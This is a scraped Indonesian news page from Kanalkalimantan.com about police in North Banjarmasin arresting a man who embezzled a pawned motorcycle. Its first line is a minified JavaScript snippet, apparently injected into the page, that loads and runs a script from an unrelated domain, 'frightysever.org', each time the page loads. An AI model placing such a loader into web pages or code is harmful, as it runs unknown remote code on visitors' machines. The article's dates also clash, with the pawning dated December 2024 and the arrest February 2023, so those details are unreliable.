(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Gelapkan Motor Gadaian, Lelaki di Banjarmasin Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Anggota Opsnal Reksrim Polsek Banjarmasin Utara menangkap seorang lelaki karena menggelapkan sepeda motor gadaian.

AB (43), warga Jalan Antasan Kecil Timur Dalam, Kota Banjarmasin diringkus petugas di rumahnya setelah melakukan penggelapan sepeda motor yang digandaikan oleh Mujahid.

Kapolsek Banjarmasin Utara Kompol Agus Sugiyanto melalui Kanit Reskrim Iptu Sudirno mengungkapkan, kronologis penggelapan diawali ketika korban Mujahid menggadaikan sepeda motornya kepada AB pada Sabtu (24/12/2024) lalu.

Mujahid diketahui menggadaikan sepeda motor sebesar Rp 6 juta. Namun, setelah diketahui saudara kandungnya, saudaranya segera meminta Mujahid untuk menebusnya.

 

Baca juga: Gantungkan Harapan di Pasar Laura, Pedagang Malah Gulung Tikar

“Setelah digandaikan, korban bercerita kepada saudaranya. Kemudian saudaranya meminta untuk menebus pada hari itu juga,” kata Iptu Sudirno, Minggu (26/2/2023) kemarin.

Korban yang hari itu ingin menebus motornya kemudian mencoba menghubungi AB, namun HP pelaku tidak aktif.

 

Beberapa saat ketika AB dapat dihubungi, dirinya meminta tebusan kepada korban sebesar Rp 2 juta terlebih dahulu karena dikatakannya sepeda motor korban telah berada di tangan orang lain.

Lanjut Kanit Reskrim, Iptu Sudirno, korban yang saat itu menginginkan sepeda motornya kembali mengiyakan saja apa yang dikatakan AB. Namun, setelah dibayar oleh korban dan dibuat perjanjian ternyata sepeda motornya malah tidak ada.

Baca juga: Banjir di Pengaron Capai 2 Meter, Jalan Utama Tak Bisa Dilewati

“Pelaku juga tidak bisa dihubungi kembali oleh korban. Kemudian korban melaporkannya ke Polsek Banjarmasin Utara,” ungkapnya.

Setelah menerima laporan dari korban, Petugas Poslek Banjarmasin Utara yang dipimpin oleh Iptu Sudiro dan Ida H Anen langsung melakukan pengembangan untuk menangkap pelaku AB.

Petugas yang mengetahui keberadaan pelaku, langsung bergerak cepat untuk meringkus pelaku yang saat itu berada dirumahnya pada Jumat (24/2/2023) lalu.

Setelah dilakukan introgasi, Iptu Sudirno mengatakan pelaku AB mengaku jika motor korban telah digandaikan kepada orang lain sebesar Rp 7 juta.

“Atas kejadian tersebut, korban mengalami kerugian sebesar Rp 18 juta,” tutupnya.

Saat ini, pelaku telah digelandang oleh petugas ke Polsekta Banjarmasin untuk dilakukan proses penyelidikan lebih lanjut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.